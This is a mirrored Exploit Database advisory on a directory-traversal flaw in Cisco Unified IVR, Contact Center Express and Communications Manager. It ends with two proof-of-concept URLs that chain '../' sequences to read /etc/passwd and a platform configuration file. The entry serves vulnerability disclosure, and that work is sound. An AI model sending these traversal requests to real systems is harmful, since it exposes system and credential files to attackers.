Cisco – ‘file’ Directory Traversal

• Exploit Database
• 18 阅读

• 作者： Sandro Gauci
  日期： 2011-10-26
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/36256/

• source: https://www.securityfocus.com/bid/50372/info
  
  Multiple Cisco products are prone to a directory-traversal vulnerability.
  
  Exploiting this issue will allow an attacker to read arbitrary files from locations outside of the application's current directory. This could help the attacker launch further attacks.
  
  This issue is tracked by Cisco BugID CSCts44049 and CSCth09343.
  
  The following products are affected:
  
  Cisco Unified IP Interactive Voice Response
  Cisco Unified Contact Center Express
  Cisco Unified Communications Manager 
  
  http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd
  
  http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../usr/local/platform/conf/platformConfig.xml